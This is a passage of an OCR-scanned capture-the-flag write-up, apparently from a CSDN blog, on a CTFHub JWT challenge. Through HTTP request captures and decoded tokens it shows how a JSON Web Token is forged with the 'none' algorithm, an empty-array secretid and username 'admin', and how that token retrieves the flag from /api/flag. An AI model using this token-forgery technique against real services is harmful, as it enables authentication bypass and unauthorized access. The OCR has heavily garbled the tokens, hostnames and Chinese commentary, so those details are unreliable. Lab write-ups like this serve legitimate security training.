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WRIEEZF, PUE, 7ILLFE BlauthorizationZjwiig X

POST /api/login HTTP/1.1
Host: challenge-cleBff4EdedBS28f. sandbox. ct fhub. com: 10800

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4, xE4; rv:98.0) Gecko/Z0100101 Firefox/98.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TV,;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
¥-Requested-With: XMLHttpRequest

Content-Length: I2I2

Origin: http://challenge-cleB8ff46dedB8S28£f. sandbox. ct fhub. com: 10800
Connection: close

Referer: http://challenge-cleBff46dedB928f sandbox.ctfhub.com:10800/1login

username=1734564password=1"34566authorizations=

eyJhbCeiliJIUzIINiIsInRSeCIEIkpXVCIS . ey JzZWllyZXPpZCIEMCwidldTlemShbWUi0iIxMIMONTYiLCJwindlzd 28y ZCIEIJEyMzQlNiIsInlhdCIEMTYOODM4N=

kwMn0.UstK3z%w-_El71WVaFRS8THb-DJIbzDXhox~-1oZFbXcY

R R B R BA T B R IK 5 Y

En COded PASTE A TOKEN HERE

eyJhbGei0iJIUzITNiIsINR5cCI6IkpXVCI9 . ey
JzZWNyZXRpZCI6MCwidXN1cm5hbWUi0iIxMjMeN
TYiLCJwWYXNzd29yZCI6IjEyMzQINiIsImlhdCI6
MTY@ODM4ANzKkwMn@ .UstK3z9w-
_E171WVaFR98THb-DJbzDXhox-102FbXcY
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e
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DECOd ed EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

"alg": "HS256",
“typ": TJWTY

PAYLOAD: DATA

{
"secretid": @,
"username”: "123456",
"password”: "123456",
"iat": 1648387902

}

VERIFY SIGNATURE

HMACSHA256 (
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret

O secret base64 encoded .
) CSDN @swpu_jx_1998




@ challenge-c1e8ffa6ded8928f.sandbox.ctfhub.com: 10800

permission denied

FE AR T &Node jsHESE, 5 TR HIRHE SC 2 7E /controllers/api.js 7T LAE 2 & Zadminf IR

"GET /api/flag’ : async (ctx, next) =» {
if(ctx. session. username !== '[Nty ) {
throw new APIError( permission error’, 'permission denied'):

}

const flag = fs.readFileSync(’ /flag’ ). toString()
ctx. rest({

flag
13;

await next(); .o AR =
} CSDN @swpu_jx_1998

AR BBAFE B E CHitoken# TR S8
AAGEE, FnEJ7 Anone

ewoglClhbGciOiAibm3uZSIsCiAginR5cCIBICIKV1QiCn0=
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& secretid H%, username’yadmin




ewogl|ClzZWNyZXRpZ Cl6IFtdLAogIC)1c2VybmFtZSI6ICIhZG1pbilsCiAginBhc3N3b3JkljogljEyMzQ1NilsCiAgimlhdCI6IDE2NDgzODCcSMDIKIQ==
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¢H4& Fpayload
ewogICJhbGciOiAibm9uZSIsCiAgInR5cCIGICIKV 1QiCn0.ewoglCJzZWNyZXRpZCI6IFtdLAogICJ1c2VybmFtZSI6ICJhZG1pbilsC
iAginBhc3N3b3JkljogliEyMzQ1NilsCiAgimihdCI6IDE2NDgzODc5MDIKfQ.

BEHEFINA, EHusernameFlauthorization

C — —

POST /apiflogin HTTP/1.1

Host: challenge-cleBffd4dededBSI8f. sandbox.ctfhub. com: 10800

User-Agent: Mozilla/s/5.0 (Windows NT 10.0; WinEé4,; x€4; rv:98.0) Gecko/Z0100101 Firefox/98.0
Accept: */*

Accept-Language: =zh-CN,zh;q=0_8,zh-TW;q=0.7,zh-HK;q=0_5,en-US5;q=0._3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 222

0 Origin: http://challenge-cleBff46ded8578f. sandbox.ctfhub.com: 10800

Connection: close

Referer: http://challenge-cleB8ff48dedBSZ8f. sandbox. ct fhub. com: 10800/login

Cookie: sses:ack=eyJlcZVybmFtZSIebnVsbCwikIV4cGlyZSIEMTYOODQ3N]ISNTYZNiwiX21lheEFnZSIEODYOMDAWMDES; sses: aok.sig=
-Fv(sclfiQgKFparcex5-EYgrLe

ewoglCIhbGoiUlAibmOuZSIsCiAgInRScCIEICIEVIQiCn0. ewoglCIzZWNyZXPpZCIEIFEdLAogICI leZVybnFLZSIEICThZGlpbilsCilgInBhe3N3b3JkIjogl JEyM=Q1Nil
SCiAgImlhdCIEGIDECNDgz0DeSMDIKEQ.
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m Cancel Target: http://challeng
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Request Response

o

Pretty EEEDE Hex H n =

GET /api/flag HTTP/L.1

Host: challenge-cleB8ff46dedB8928f. sandbox. ct fhub. com: 10800
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4;
rv:98.0) Gecko/IZ0100101 Firefox/58.0

Accept: */* Content-Length: 45

Accept-Language: Comnection: close
zh-CN,zh;q=0.8,zh-TW;gq=0.7,zh-HK;q=0.5,en-US;gq=0.3 ,en;gq=0.2 7 Access-Control-Allow-Origin: *

= Accept-Encoding: gzip, deflate Access-Control-Allow-Headers: X-Requested-With
X-Recuested-With: XMLHttpRecquest Access-Control-Allow-Methods: *

Raw Hex FRender B n =

HTTP/1.1 Z00 COK

Server: openresty/l.19.3.2

Date: Sun, 27 Mar Z0ZZ 14:01:08 GMT
Content-Type: application/json; charset=utf-8
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2 Commection: close 10

S Referer: 11 {
htep: //challenge-cleB8ff4EdedBS28f . sandbox . ct fhub. con: L0E00/h "flag": "etfhub (83d725734bfE4aff28be£3£4) 0"
ome }

10 Cockie: sses:aoks=
eyJle2VybnFtZSIE InFkbWluliwiX2V4cGlyZSTEMTYOOD QNI ALMD IxMSwi
XZ1lheEFnZSIEODYOMDAWMDES,; sses:ack.sig=
X22ZnzeSrBK8_rrl3j3TkQReTow
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